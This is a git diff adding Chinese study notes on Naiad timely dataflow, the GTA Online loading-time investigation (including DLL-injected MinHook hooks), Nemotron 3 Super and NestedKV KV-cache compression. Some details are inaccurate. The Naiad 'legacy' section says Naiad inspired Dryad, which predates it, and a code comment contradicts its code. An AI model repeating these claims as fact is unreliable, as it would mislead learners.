+SendBy(边, 消息, 时间戳)  — 发送消息（带时间戳）
+NotifyAt(时间戳)          — 注册一个通知请求
+```
+
+### 3.4 进度跟踪协议
+
+Naiad 在分布式环境下维护一个关键不变量：**如果一个时间戳在某个节点的本地"前沿"（frontier）上，它也在整个系统的 global frontier 上**。这意味着：
+
+- 每个 Worker 维护本地计数（某个时间戳还有多少消息等待处理）
+- Worker 之间通过协议同步这些计数
+- 当所有前置时间戳都处理完了，当前时间戳就可以被推进
+
+---
+
+## 四、代码示例
+
+### 示例 1：一个简单的数据流图
+
+下面是一个伪代码级别的例子，展示如何用 Naiad 的及时数据流模型构建一个三节点的计算图：
+
+```rust
+// 定义三个节点的消息类型
+struct AddOneMessage {
+    value: u64,
+    timestamp: Timestamp,
+}
+
+struct MultiplyMessage {
+    value: u64,
+    timestamp: Timestamp,
+}
+
+// 节点 A: 对输入加 1
+struct AddOneNode {
+    proxy: DataflowProxy,
+}
+
+impl Vertex for AddOneNode {
+    fn OnRecv(&mut self, edge: Edge, msg: AddOneMessage, ts: Timestamp) {
+        let new_value = msg.value + 1;
+        // 发送给下一个节点，时间戳增加 1
+        self.proxy.SendBy(edge::TO_MULTIPLY, MultiplyMessage {
+            value: new_value,
+            timestamp: ts,
+        });
+    }
+}
+
+// 节点 B: 对输入乘以 2
+struct MultiplyNode {
+    proxy: DataflowProxy,
+}
+
+impl Vertex for MultiplyNode {
+    fn OnRecv(&mut self, edge: Edge, msg: MultiplyMessage, ts: Timestamp) {
+        let new_value = msg.value * 2;
+        // 如果有循环，时间戳会在反馈节点递增
+        self.proxy.SendBy(edge::TO_OUTPUT, new_value, ts);
+    }
+}
+
+// 节点 C: 输出结果并注册通知
+struct OutputNode {
+    proxy: DataflowProxy,
+}
+
+impl Vertex for OutputNode {
+    fn OnRecv(&mut self, edge: Edge, value: u64, ts: Timestamp) {
+        println!("Epoch {:?} 计算结果: {}", ts.epoch, value);
+    }
+
+    fn OnNotify(&mut self, ts: Timestamp) {
+        println!("纪元 {:?} 的所有数据已处理完毕", ts.epoch);
+    }
+}
+```
+
+在这个例子中：
+- 数据从 `AddOneNode` → `MultiplyNode` → `OutputNode` 单向流动
+- 每条消息携带时间戳，记录它属于哪个纪元
+- `OutputNode` 在 `NotifyAt(ts)` 注册后，会在该纪元所有数据到达时收到 `OnNotify` 回调
+
+### 示例 2：带循环的迭代计算——求平均值
+
+这是 Naiad 更擅长的场景：**有反馈循环的迭代算法**。比如求一组数字的平均值：
+
+```rust
+// 迭代求平均值的示例
+// 初始猜一个值，不断迭代直到收敛
+
+struct IterativeAverageNode {
+    proxy: DataflowProxy,
+    sum_channel: Receiver<(u64, Timestamp)>,  // 接收新的总和
+    feedback_channel: Receiver<(f64, Timestamp)>,  // 接收上一轮的猜测值
+}
+
+impl Vertex for IterativeAverageNode {
+    fn OnRecv(&mut self, edge: Edge, msg: Message, ts: Timestamp) {
+        match edge {
+            edge::TO_SUM => {
+                // 收到新的数据点，累加到总和
+                let (value, _) = msg;
+                self.total_sum += value;
+            }
+            edge::FROM_FEEDBACK => {
+                // 收到上一轮的猜测值
+                let (guess, _) = msg;
+                // 本轮的迭代：用旧猜测值计算新的平均值
+                let new_average = calculate_average(self.total_sum, guess);
+                // 通过反馈边发送回去，时间戳递增表示下一轮迭代
+                self.proxy.SendBy(edge::FEEDBACK, new_average, ts);
+                // 同时发送到输出
+                self.proxy.SendBy(edge::TO_OUTPUT, new_average, ts);
+            }
+        }
+    }
+
+    fn OnNotify(&mut self, ts: Timestamp) {
+        // 检查是否收敛（与前一轮的差别小于阈值）
+        if is_converged(self.last_value, self.current_value) {
+            println!("迭代在第 {:?} 轮收敛", ts.loop_counters);
+        }
+        // 如果不是最后一轮，通知下一轮可以开始了
+        let next_ts = increment_loop_counter(ts);
+        self.proxy.NotifyAt(next_ts);
+    }
+}
+
+// 主程序：构建数据流图
+fn build_average_graph() {
+    let mut builder = DataflowBuilder::new();
+
+    // 创建循环上下文
+    let loop_ctx = builder.loop_context("averaging_iteration");
+
+    // 输入节点：从外部读取数据
+    let input = builder.source("data_input", |sender| {
+        // 假设输入 [10, 20, 30, 40]
+        for &v in &[10u64, 20, 30, 40] {
+            sender.send(v, loop_ctx.entering_ts());
+        }
+    });
+
+    // 累加节点
+    let sum_node = builder.vertex("accumulator", |_ctx, input, output| {
+        let mut total = 0u64;
+        for msg in input.take() {
+            total += msg.value;
+            output.send((total, msg.timestamp));
+        }
+    });
+
+    // 反馈循环：求平均值并回传
+    let avg_node = builder.vertex("iterative_avg", |_ctx, input, feedback, output| {
+        // feedback 是循环中的反馈通道
+        for (guess, ts) in feedback.take() {
+            let (total, _) = input.take().first().unwrap();
+            let avg = *total as f64 / 4.0;
+            output.send((avg, ts));
+            // 发送回反馈通道，进入下一轮
+            feedback.send((avg, increment_loop_counter(ts)));
+        }
+    });
+
+    // 输出节点
+    let output = builder.sink("result", |_ctx, input| {
+        for (avg, ts) in input.take() {
+            println!("平均值 = {:.2} (迭代 {:?})", avg, ts.loop_counters);
+        }
+    });
+
+    // 连接：input -> sum -> avg -> feedback(loop) + output
+    builder.connect(input, sum_node);
+    builder.connect(sum_node, avg_node);
+    builder.connect_feedback(avg_node, avg_node);  // 循环
+    builder.connect(avg_node, output);
+
+    // 启动数据流
+    builder.run();
+}
+```
+
+这个例子展示了 Naiad 处理迭代计算的能力：
+
+1. **入口节点**（ingress）进入循环时，时间戳追加 `(..., 0)`，表示第 0 轮
+2. **计算节点**用上一轮的结果计算新的平均值
+3. **反馈节点**（feedback）将结果送回循环开头，时间戳递增为 `(..., 1)`、`(..., 2)` 以此类推
+4. **出口节点**（egress）退出循环时，时间戳恢复为外层形式
+
+系统自动确保：**同一轮次的所有数据在推进到下一轮之前全部处理完毕**。
+
+---
+
+## 五、工程实现要点
+
+### 5.1 分布式架构
+
+Naiad 将逻辑数据流图编译为物理数据流图：
+
+- **Worker** 负责消息传递和节点调度
+- 每个顶点单线程运行，同一 Worker 内的顶点可以立即转移控制权
+- Worker 之间通过 **全局进度跟踪协议** 协调
+
+### 5.2 微拖延（Micro-stragglers）的处理
+
+微拖延是指某些节点比同组其他节点稍微慢一点的现象（可能来自 TCP 开销、GC、数据倾斜等）。Naiad 采用多种机制来缓解：
+
+- 消息按时间戳批次处理，避免单个慢节点阻塞整个系统
+- 局部计数与全局计数分离，减少同步开销
+
+### 5.3 容错
+
+状态性顶点实现 `Checkpoint()` 和 `Restore()` 方法，Naiad 通过全局检查点机制实现容错。
+
+---
+
+## 六、Naiad 的影响与遗产
+
+Naiad 的学术和技术遗产深远：
+
+1. **Microsoft Dryad / Azure Data Lake**：Naiad 直接启发了微软后续的数据处理平台
+2. **Microsoft Orleans**：虚拟 actor 模型受到了 Naiad 的启发
+3. **Apache Arrow / DataFusion**：现代列式数据处理系统的设计哲学与 Naiad 一脉相承
+4. **Frank McSherry 后续的 Differential Dataflow**：在 Naiad 的基础上引入了"差分数据流"，进一步简化了增量计算
+
+---
+
+## 七、关键收获
+
+用一句话总结 Naiad 的核心贡献：
+
+> **给数据流计算引入"时间"这个维度，让系统能够同时高效地处理批处理、流处理、迭代计算和增量更新。**
+
+具体来说：
+
+- **时间戳即逻辑时钟**：不需要真时钟，用 `(纪元, 循环计数器)` 就够了
+- **循环不是禁区**：通过入口/出口/反馈三个特殊节点组织循环，系统能安全地推进迭代
+- **通知机制解耦了"计算"和"同步"**：节点只需关心自己的数据，进度跟踪由系统底层自动完成
+
+---
+
+## 八、思考题
+
+1. 如果 Naiad 的时间戳结构只包含纪元 `e`，不包含循环计数器 `(c1,...,ck)`，会带来什么限制？
+2. 为什么 Naiad 选择让每个顶点单线程运行，而不是多线程？这种设计的 trade-off 是什么？
+3. 对比 MapReduce 的"每次全量重新计算"和 Naiad 的"增量推进"，在什么场景下 Naiad 的优势最明显？
+
+---
+
+*本文基于 Murray 等人在 SOSP 2013 发表的论文 "Naiad: A Timely Dataflow System" 编写。*
diff --git a/src/content/docs/papers/nee-lv-gta-loading-times.md b/src/content/docs/papers/nee-lv-gta-loading-times.md
new file mode 100644
index 000000000..fb758935b
--- /dev/null
+++ b/src/content/docs/papers/nee-lv-gta-loading-times.md
@@ -0,0 +1,239 @@
+---
+title: How I cut GTA Online loading times by 70 percent
+来源: https://nee.lv/2021/02/28/How-I-cut-GTA-Online-loading-times-by-70/
+日期: 2026-06-13
+分类: 编程语言
+子分类: 类型与 PL 理论
+provenance: pipeline-v3
+---
+
+# How I cut GTA Online loading times by 70 percent — 零基础学习笔记
+
+## 1. 日常类比：为什么你的外卖等了 6 分钟？
+
+想象你点了一份外卖。店家给了你一个包含 63,000 种商品的大目录，每种商品有名称、价格、分类等信息。店家拿到目录后做了两件很"傻"的事：
+
+- **第一件傻事**：目录是一团 10MB 的纯文本。店家每次要看某个商品的名字有多长，都要从第一个字一个一个数过去 —— 哪怕他手里已经记着这个商品的长度了。
+- **第二件傻事**：每处理完一件商品，店家就把这个商品和目录里之前所有的商品从头到尾比一遍，看有没有重复。63,000 件商品意味着他要做大约 20 亿次比较。
+
+现在想象这家店只有一个店员，而且他动作特别慢。你要等 6 分钟才能拿到外卖。
+
+这几乎就是 GTA Online 加载时发生的事情。
+
+## 2. 作者发现了什么？
+
+作者 t0st 是一个独立游戏开发者。2021 年他重玩 GTA Online 做任务时，发现从点"加入在线模式"到真正进入游戏，要等整整 6 分钟。而他的故事模式（单人）只需要约 1 分钟。
+
+他用 Windows 任务管理器做了初步检查，发现：
+
+- 磁盘使用率：零 —— 硬盘没在狂转
+- 网络使用率：几乎为零 —— 不是网络问题
+- GPU 使用率：零 —— 不是显卡在渲染
+- 内存使用：完全平坦 —— 不是内存分配问题
+- **只有一个 CPU 核心被跑满，持续 4 分钟**
+
+这意味着问题出在**单线程 CPU 计算**上。
+
+## 3. 核心技术概念
+
+### 3.1 Stack Sampling（栈采样）
+
+**类比**：想象你是一个侦探，每隔 10 秒就拍一张正在工作的程序"快照"，看看它此刻正在执行哪一行代码。拍几百次后，你就能看出程序大部分时间花在了哪里。
+
+**专业说法**：对闭源程序（没有源代码）来说，无法使用传统的"性能分析工具"（需要源代码）。Stack Sampling 就是在固定时间间隔内读取进程的调用栈（call stack），然后统计每个函数出现的频率，从而找出"热点"。
+
+作者使用的工具是 **Luke Stackwalker** —— 一个已有 10 多年未更新的 Windows 栈采样工具。
+
+### 3.2 反编译与内存 Dump
+
+**类比**：程序在运行时会把代码"解密"后加载到内存中。你趁它运行的时候把内存内容"拍下来"，就能拿到解密后的机器码，然后想办法还原成人类能读的代码。
+
+**专业做法**：
+1. 使用 **Process Dump** 把 GTA 进程的内存保存到文件中
+2. 使用反汇编工具（作者借了朋友的 IDA Pro）分析内存 dump
+3. 找到耗时最多的函数
+
+### 3.3 函数 Hooking（挂钩）
+
+**类比**：你在朋友的必经之路上设了一个"检查站"。每次朋友经过时，你先拦截他，做点额外的事，然后再让他继续走。
+
+**专业说法**：Hook 是在程序运行时修改函数的调用目标。作者使用 **MinHook** 库，把游戏内部的函数调用拦截到自己的代码里，从而在不修改游戏文件的情况下改变其行为。
+
+## 4. 两个"傻"问题的代码级还原
+
+### 4.1 问题一：sscanf 解析 10MB JSON
+
+作者通过反汇编发现，GTA 在加载时解析了一个约 10MB 的 JSON 文件，包含约 63,000 条物品数据（在线商城的道具目录）。
+
+JSON 数据结构大致如下：
+
+```json
+{
+    "key": "WP_WCT_TINT_21_t2_v9_n2",
+    "price": 45000,
+    "statName": "CHAR_KIT_FM_PURCHASE20",
+    "storageType": "BITFIELD",
+    "bitShift": 7,
+    "bitSize": 1,
+    ["category": ["CATEGORY_WEAPON_MOD"]]
+}
+```
+
+关键问题在于：标准的 `sscanf` 实现内部会反复调用 `strlen` 来计算字符串长度。而 `strlen` 是从头到尾遍历字符串 —— 对于一个 10MB 的大字符串，每次调用都要遍历数十万字符。
+
+```c
+// 标准 strlen 的伪代码 — 每次调用都要从头数到 \0
+size_t strlen(const char* s) {
+    size_t len = 0;
+    while (s[len] != '\0') {
+        len++;  // 对 10MB 的字符串，这是一次漫长的遍历
+    }
+    return len;
+}
+
+// sscanf 内部会反复调用 strlen
+// 解析 63,000 个物品 = 63,000 次 sscanf = 数百万次 strlen
+// 每次 strlen 都要遍历大字符串的一部分
+// 总工作量大约是 O(n * m)，n = 文件大小，m = 物品数量
+```
+
+这就像你有一份 10MB 的文档，每看一个词就要重新从第一页读到那个词 —— 文档越长、词越多，越慢。
+
+### 4.2 问题二：用线性搜索代替哈希表
+
+更糟的是，每解析完一个物品，游戏会把它存到一个"数组"中。但在存之前，它会**遍历整个数组**，检查这个物品是否已经存在（去重）。
+
+```cpp
+// 作者的还原：这个"去重"函数本质是 O(n) 线性搜索
+// 假设有 63,000 个物品，每个都要和前面所有物品比较
+// 总比较次数 = (n^2 + n) / 2 = (63000^2 + 63000) / 2 ≈ 20 亿次
+
+struct Entry {
+    uint64_t* hash;   // 物品哈希值
+    Item*     item;   // 物品数据
+};
+
+// 伪代码：每次插入都要遍历整个数组
+void insert_item(Entry* array, int count, Item* new_item) {
+    for (int i = 0; i < count; i++) {
+        if (array[i].hash == new_item->hash) {
+            // 找到了！这是重复项，跳过
+            return;
+        }
+    }
+    // 没找到，插入
+    array[count] = { new_item->hash, new_item };
+}
+
+// 问题：所有 63,000 个物品本来就是唯一的！
+// 游戏根本不需要去重，但它就是做了 20 亿次无意义的比较
+```
+
+作者称这个数据结构为 `not_a_hashmap` —— 名字叫"不是哈希表"，因为它明明有哈希值，却没有用哈希表的 O(1) 查找，而是用了 O(n) 的线性搜索。
+
+**正确的做法**：直接用哈希表（hash map），插入和查找都是 O(1)，或者既然已知所有物品都唯一，干脆跳过去重步骤直接插入。
+
+## 5. 作者的修复方案（Proof of Concept）
+
+### 5.1 缓存 strlen 的结果
+
+作者写了一个 DLL（动态链接库），注入到 GTA 进程中，hook 了 `strlen` 函数：
+
+```c
+size_t strlen_cacher(char* str)
+{
+    static char* start;
+    static char* end;
+    size_t len;
+    const size_t cap = 20000;
+
+    // 如果当前指针在一个之前测过的大字符串范围内
+    if (start && str >= start && str <= end) {
+        // 直接计算剩余长度，不用重新遍历！
+        len = end - str;
+
+        // 如果快到大字符串末尾了，关掉 hook（不再需要缓存）
+        if (len < cap / 2)
+            MH_DisableHook((LPVOID)strlen_addr);
+
+        return len;  // 瞬间返回，不用遍历
+    }
+
+    // 第一次遇到这个字符串，走正常的 strlen
+    len = builtin_strlen(str);
+
+    // 如果遇到超大字符串（比如 10MB JSON），记录它的起止地址
+    if (len > cap) {
+        start = str;
+        end = str + len;
+    }
+
+    return len;
+}
+```
+
+**核心思路**：第一次遇到那个 10MB 字符串时正常计算长度并记住它的内存地址范围。之后如果 `strlen` 在这个范围内被调用，直接做减法返回缓存值，而不是从头遍历。
+
+### 5.2 跳过无意义的去重检查
+
+```c
+char __fastcall netcat_insert_dedupe_hooked(uint64_t catalog, uint64_t* key, uint64_t* item)
+{
+    // 找到那个"不是哈希表"的数据结构
+    uint64_t not_a_hashmap = catalog + 88;
+
+    // 保留原有的初始化调用（不知道具体作用，先跟着做）
+    if (!(*(uint8_t(__fastcall*)(uint64_t*))(*item + 48))(item))
+        return 0;
+
+    // 【关键修改】直接插入，跳过整个线性搜索去重过程
+    netcat_insert_direct(not_a_hashmap, key, &item);
+
+    // 处理完最后一个物品（哈希值为 0x7FFFD6BE），关闭 hook 并卸载 DLL
+    if (*key == 0x7FFFD6BE) {
+        MH_DisableHook((LPVOID)netcat_insert_dedupe_addr);
+        unload();
+    }
+
+    return 1;
+}
+```
+
+**核心思路**：既然所有物品都是唯一的，那就不需要去重。直接调用插入函数即可，省掉那 20 亿次比较。
+
+### 5.3 效果
+
+| 配置 | 加载时间 |
+|---|---|
+| 原始 | ~6 分钟 |
+| 仅修复去重 | ~4 分 30 秒 |
+| 仅修复 JSON 解析 | ~2 分 50 秒 |
+| 两个都修 | **~1 分 50 秒** |
+
+提升：(6 × 60 - (1 × 60 + 50)) / (6 × 60) = **69.4%**
+
+后来 Rockstar（GTA 的开发商）确认了这个问题，并通过游戏更新修复了它。作者还收到了 Rockstar 的 $10,000 奖金。
+
+## 6. 从这个案例学到的核心经验
+
+1. **不要假设"快"的东西就一定快**：sscanf 和 strlen 是 C 语言标准库函数，你觉得它们肯定快。但当输入规模足够大（10MB JSON × 63,000 物品）时，O(n) 的线性扫描就能成为巨大瓶颈。
+
+2. **算法选择比硬件重要**：用哈希表代替线性搜索，复杂度从 O(n²) 降到 O(n)。同样的数据量，差距是亿万倍。
+
+3. **性能问题的诊断方法论**：
+   - 第一步：用任务管理器看哪个资源在忙（CPU / 磁盘 / 网络 / GPU）
+   - 第二步：如果是 CPU，用 stack sampling 找热点函数
+   - 第三步：用反汇编理解代码在做什么
+   - 第四步：找到最优化的突破口
+
+4. **不要做无用功**：游戏开发者对 63,000 个唯一物品做去重检查 —— 这个检查在逻辑上永远是 false（没有重复），但代价是 20 亿次比较。这提醒我们：代码不仅要看"对不对"，还要看"值不值得"。
+
+## 7. 延伸思考
+
+这个案例和你在其他系统里看到的性能问题本质是一样的：
+
+- **数据库查询慢**：有时候不是硬件问题，而是 SQL 查询没有用索引（索引就是哈希表在数据库里的亲戚）
+- **Web 页面加载慢**：有时候不是网速问题，而是前端代码做了不必要的大规模 DOM 操作
+- **AI 推理慢**：有时候不是 GPU 问题，而是 token 生成的算法可以优化
+
+理解"为什么慢"比"换更快的硬件"重要得多。这个案例就是最好的证明。
diff --git a/src/content/docs/papers/nemotron-3-super.md b/src/content/docs/papers/nemotron-3-super.md
new file mode 100644
index 000000000..cb2675cc8
--- /dev/null
+++ b/src/content/docs/papers/nemotron-3-super.md
@@ -0,0 +1,232 @@
+---
+title: Nemotron 3 Super — MoE + Hybrid Mamba-Transformer 零基础笔记
+来源: https://arxiv.org/abs/2604.12374
+日期: 2026-06-13
+分类: 其他
+子分类: llm
+provenance: pipeline-v3
+---
+
+# Nemotron 3 Super: MoE + Hybrid Mamba-Transformer 零基础笔记
+
+> NVIDIA 出品，120B 总参数、12B 活跃参数，首次同时集成 NVFP4 训练、LatentMoE 和 Multi-Token Prediction。
+
+---
+
+## 一、一句话概括
+
+Nemotron 3 Super 是 NVIDIA 开发的 **混合架构大模型**：把 Mamba（线性时间序列建模）和 Transformer（注意力机制）拼接在一起，再用 MoE（专家混合）做稀疏缩放，最后用 NVFP4 超低精度训练。结果就是：跟 GPT-OSS-120B 和 Qwen3.5-122B 精度相当，但推理速度分别快 2.2 倍和 7.5 倍。
+
+---
+
+## 二、核心概念：从日常类比开始
+
+### 2.1 MoE（Mixture of Experts，专家混合）
+
+**类比：** 想象一家大型医院。普通模型像"每个医生什么都看"——病人（token）无论什么病都找同一个全科医生，医生忙不过来。MoE 则像"分诊台"：每个病人进来先经过分诊台（gate），分诊台根据症状把病人转给最合适的专科医生（expert）。医院里有很多专科医生（总参数量巨大），但每个病人只看其中 1-2 位（活跃参数少），所以整体效率高。
+
+**关键数字：** Nemotron 3 Super 有 512 个专家，每个 token 只激活 2 个（top-2）。总参数 120B，每次前向传播只用 12B。
+
+### 2.2 Mamba vs Transformer
+
+**类比：** 读一本书。
+
+- **Transformer（注意力）** 像"反复翻回前面章节查资料"——每次读新内容都回头看前面所有文字，精度高但慢。
+- **Mamba** 像"边读边记笔记"——读完一段就在脑子里留一个摘要（状态 state），读下一段时只看笔记，不需要重读全文。速度快，但长距离依赖可能丢失。
+
+**Nemotron 3 Super 的做法：** 大部分层用 Mamba（快），每隔几层插入一层 Transformer 做"全局锚定"（anchor），确保不会丢重要信息。
+
+### 2.3 LatentMoE（论文最大创新之一）
+
+**类比：** 标准 MoE 像"用豪华轿车运货"——货物（token）直接上全尺寸车，空间浪费。LatentMoE 像"先用小箱子压缩货物，运到目的地再拆开"：
+
+1. Token 从高维空间压缩到低维潜空间（down-projection）
+2. 在潜空间里做专家计算（省内存、省通信）
+3. 结果再展开回原始维度（up-projection）
+
+因为压缩了，就能用更多专家（512 个）而不增加实际计算量。
+
+### 2.4 Multi-Token Prediction (MTP)
+
+**类比：** 正常模型像"猜下一个字"——你说"今天天气真"，它猜"好"。MTP 像"猜接下来几个字"——它同时猜"好""的""一""天"。推理时可以用这些猜测做"草稿"，再由主模型一次性验证，大幅减少逐字生成的等待时间。
+
+### 2.5 NVFP4 训练
+
+**类比：** 传统训练用高精度浮点（BF16，类似保留 3 位小数）。NVFP4 把权重、激活、梯度全部压到 4-bit 浮点（类似只保留 1 位有效数字）。省下的内存和带宽让训练可以做得更大更快。Nemotron 3 Super 是首个在 NVFP4 下完成 25T token 预训练的模型。
+
+---
+
+## 三、模型架构一览
+
+| 配置 | 数值 |
+|------|------|
+| 总层数 | 88 |
+| 模型维度 | 4096 |
+| 总参数 | 120.6B |
+| 活跃参数 | 12.7B（每次前向） |
+| 专家总数 | 512 |
+| 每 token 激活专家 | 2（top-2） |
+| MoE 潜空间维度 | 1024 |
+| MTP 层数 | 2（共享权重） |
+| 最大上下文 | 1M tokens |
+
+层分布模式：**Mamba-2 块 + MoE 块交替排列**，少量全局注意力层作为锚点。
+
+---
+
+## 四、代码示例
+
+### 4.1 LatentMoE 的前向传播示意
+
+```python
+# 简化版 LatentMoE 前向传播
+# 输入 x: [batch, seq_len, d]  —— d = 4096
+
+def latent_moe_forward(x, W_down, W_up, experts, gate):
+    """
+    W_down: [latent_dim, d]       —— 降维矩阵
+    W_up:   [d, latent_dim]       —— 升维矩阵
+    experts: list of FFN modules   —— 512 个专家
+    gate:   routing gate network   —— 选择 top-2 专家
+    """
+    batch, seq_len, d = x.shape
+    latent_dim = 1024  # MoE 潜空间维度
+
+    # Step 1: 压缩到潜空间
+    x_latent = torch.einsum('bsd,ld->bsl', x, W_down)
+    # x_latent: [batch, seq_len, 1024]
+
+    # Step 2: Gate 选择 top-2 专家
+    gate_scores = gate(x_latent)  # [batch, seq_len, 512]
+    top2_values, top2_indices = torch.topk(gate_scores, k=2, dim=-1)
+    # top2_values:  [batch, seq_len, 2]  —— 权重
+    # top2_indices: [batch, seq_len, 2]  —— 专家编号
+
+    # Step 3: 对每个 token，用 top-2 专家计算并加权求和
+    output_latent = torch.zeros(batch, seq_len, latent_dim, device=x.device)
+    for b in range(batch):
+        for s in range(seq_len):
+            for e_idx, e_weight in zip(top2_indices[b, s], top2_values[b, s]):
+                output_latent[b, s] += e_weight * experts[e_idx](x_latent[b, s])
+
+    # Step 4: 展开回原始维度
+    output = torch.einsum('bsl,dl->bsd', output_latent, W_up)
+    # output: [batch, seq_len, 4096]
+
+    return output
+```
+
+**要点：** 专家计算在 1024 维的潜空间中进行，而不是 4096 维。这意味着每次路由传输的数据量减少了 4 倍（4096/1024 = 4），节省的带宽用来增加专家数量和激活数量。
+
+### 4.2 MTP（Multi-Token Prediction）推理示意
+
+```python
+# 简化版 MTP 推理（投机解码）
+# 主模型生成 1 个 token，MTP 头预测后续 N 个 token
+
+def mtp_speculative_decode(prompt, main_model, mtp_heads, draft_length=3):
+    """
+    main_model: 完整的前向传播（验证者）
+    mtp_heads:  共享权重的辅助预测头（草稿生成器）
+    draft_length: 每次预测几个 token
+    """
+    tokens = [prompt]
+    max_total = 64
+
+    while len(tokens) < max_total:
+        # Step 1: 用 MTP 头生成草稿 token
+        draft_tokens = []
+        current_input = torch.tensor([tokens])
+
+        for _ in range(draft_length):
+            # 共享权重的 MTP 头预测下一个 token
+            logits = mtp_heads(current_input)
+            next_token = torch.argmax(logits[:, -1], dim=-1).item()
+            draft_tokens.append(next_token)
+            current_input = torch.cat([current_input, torch.tensor([[next_token]])], dim=1)
+
+        # Step 2: 主模型一次性验证所有草稿 + 下一个真实 token
+        # 输入: prompt + draft_tokens + 1 个额外 token
+        verification_input = torch.tensor([tokens + draft_tokens])
+        main_logits = main_model(verification_input)
+
+        # Step 3: 逐位比较草稿和主模型的预测
+        accepted = 0
+        for i, draft_tok in enumerate(draft_tokens):
+            main_tok = torch.argmax(main_logits[0, i], dim=-1).item()
+            if draft_tok == main_tok:
+                accepted += 1  # 接受这个草稿
+            else:
+                break  # 遇到不匹配就停止
+
+        # Step 4: 追加接受的 token + 主模型输出的新 token
+        tokens.extend(draft_tokens[:accepted])
+        new_token = torch.argmax(main_logits[0, accepted], dim=-1).item()
+        tokens.append(new_token)
+
+    return tokens
+```
+
+**要点：** MTP 头共享权重，训练时暴露于不同偏移位置，推理时可以递归使用同一个头生成长草稿。SPEED-Bench 上平均接受长度达到 3.45（draft=7），比 DeepSeek-R1 的 2.70 高很多。
+
+---
+
+## 五、训练流程
+
+### 5.1 预训练（25T tokens）
+
+- **Phase 1（80%，20T tokens）：** 数据多样性优先，广泛覆盖
+- **Phase 2（20%，5T tokens）：** 数据质量优先，刷 benchmark
+
+### 5.2 后训练（Post-Training）
+
+分三个阶段：
+
+1. **SFT（监督微调）：** 两阶段损失函数——先 token-level 全局平均，再 sample-level 样本平均
+2. **RL（强化学习）：** 三阶段——可验证奖励的多环境 RL → 软件工程端到端 RL → 人类反馈 RL（RLHF）
+3. 特别强调 **agentic 能力**：多步工具调用、软件工程师、终端操作
+
+### 5.3 量化
+
+发布四个 checkpoint：
+
+| 版本 | 精度 | 用途 |
+|------|------|------|
+| NVFP4 | 4-bit | 推理（最高效） |
+| FP8 | 8-bit | 推理（精度与效率平衡） |
+| BF16 | 半精度 | 后训练 / 部署 |
+| Base BF16 | 半精度 | 继续预训练 |
+
+---
+
+## 六、为什么这个架构厉害
+
+1. **LatentMoE**：从硬件角度重新设计 MoE，不是简单加参数，而是让每个 FLOP 和每个字节都产生更多准确率
+2. **Hybrid Mamba-Transformer**：Mamba 的线性复杂度 + Transformer 的全局注意力，兼顾速度和精度
+3. **MTP**：内置投机解码，不需要外挂 draft model 就能加速推理
+4. **NVFP4**：首次在大规模预训练中用 4-bit 浮点稳定训练 25T tokens
+5. **Agentic 优先**：RL 阶段大量投入多步工具使用，使模型在 SWE-Bench 等 benchmark 上表现突出
+
+---
+
+## 七、关键数据对比
+
+| 指标 | Nemotron 3 Super | GPT-OSS-120B | Qwen3.5-122B |
+|------|------------------|--------------|--------------|
+| 吞吐量提升 | 基准 | 2.2x 更快 | 7.5x 更快 |
+| 上下文长度 | 1M | — | — |
+| 推理精度 | 相当 | 相当 | 相当 |
+
+测量条件：8K 输入 / 64K 输出，B200 GPU，vLLM / TRT-LLM。
+
+---
+
+## 八、值得注意的发现
+
+论文中有一个有趣的现象：NVFP4 训练会产生更多**零值权重梯度**。这是因为 4-bit 精度会把原本很小但不为零的梯度下溢到零。研究发现这并非训练崩溃的信号，而是 NVFP4 的正常行为——BF16 训练 25T tokens 后也会观察到类似的数量级模式。
+
+---
+
+## 九、总结
+
+Nemotron 3 Super 的核心思路很简单：**用更聪明的架构代替暴力堆参数**。LatentMoE 让专家更便宜地扩展，Mamba 让序列建模更快，MTP 让推理更少等待，NVFP4 让训练更省资源。这四件事叠加在一起，就是一个 12B 活跃参数的模型打出了跟 120B 密集模型相当的精度，还快了数倍。
diff --git a/src/content/docs/papers/nestedkv.md b/src/content/docs/papers/nestedkv.md
new file mode 100644
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@@ -0,0 +1,345 @@
+---
+title: NestedKV — 嵌套内存路由实现长上下文 KV Cache 压缩
+来源: 'Chen et al., "NestedKV: Nested Memory Routing for Long-Context KV Cache Compression", arXiv:2605.26678, 2026'
+日期: 2026-06-13
+子分类: 模型与训练
+分类: 机器学习
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：三层笔记本决定删哪几页
+
+想象你在整理一本**超厚的工作日志**（长上下文 prompt），但规定：**只能保留 B 页**，其余必须撕掉。之后你要靠剩下的页回答各种问题（自回归解码）。
+
+如果只按一种标准删页，很容易删错：
+
+- **只看「整本书的平均风格」**：会留下和全书基调不同的页，但可能漏掉**只在某一章突然出现的关键数字**（全局异常 vs 局部情节）。
+- **只看「当前这一章」**：重复段落会被当成废话删掉，但**跨章引用**可能还在前面某章（局部冗余 vs 全局检索）。
+- **只看「最近几页」**：StreamingLLM 式做法，适合接着写，但**文档开头的 needle** 可能永远找不回来（近期相关 vs 远程证据）。
+
+NestedKV 的做法像同时维护**三本嵌套笔记本**：
+
+1. **稳定本（Stable）**：整本书的「平均语气」——全局锚点 \(\mu_s\)。
+2. **情节本（Episodic）**：按块（block）划分的「这一节在讲什么」——段落/回合锚点 \(\mu_e(i)\)。
+3. **当前本（Current）**：最近 64 个 token 的滑动窗口——即时流锚点 \(\mu_c(i)\)。
+
+对每一页（token），问三个问题：「和这三本笔记相比，我算不算**异常/outlier**？」异常就保留，可预测就删掉。若三个本子意见不一致，再用一个**无需训练的「外层调度员」**决定听谁的——这就是论文说的 **Nested Memory Routing（嵌套内存路由）**。
+
+论文来自 HKUST(GZ) 与 Jimei University 等（arXiv:2605.26678），**无需微调、不改模型结构**，在 prefill 结束后、decode 开始前对 KV cache 做压缩。在 Qwen3-4B 上，压缩比 \(r=0.75\)（只留 25% KV）时，RULER 相对 KeyDiff 最高 **+19.10** 分，LongBench 平均从 30.77 提到 **50.06**；在更极端的 \(r=0.95\) 下 LongBench 仍保留 **37.32**（KeyDiff 仅 17.55）。
+
+---
+
+## 是什么
+
+**NestedKV** 是一种 **training-free、key-only** 的 KV cache 压缩方法，受 Nested Learning 中 **Continuum Memory System（连续记忆系统）** 启发：
+
+> 把 token 驱逐问题重新表述为：**在有限测试时记忆预算下，维护嵌套的多时间尺度记忆状态**。
+
+它只做一件事：给定每层、每头的 KV cache 和预算 \(B\)，选出应保留的 token 位置集合 \(\mathcal{S}\)，\(|\mathcal{S}|=B\)。模型权重、attention 算子、保留下来的 **Value 向量本身都不改**——变的是**哪些位置还在 cache 里**。
+
+与常见 baseline 的对照：
+
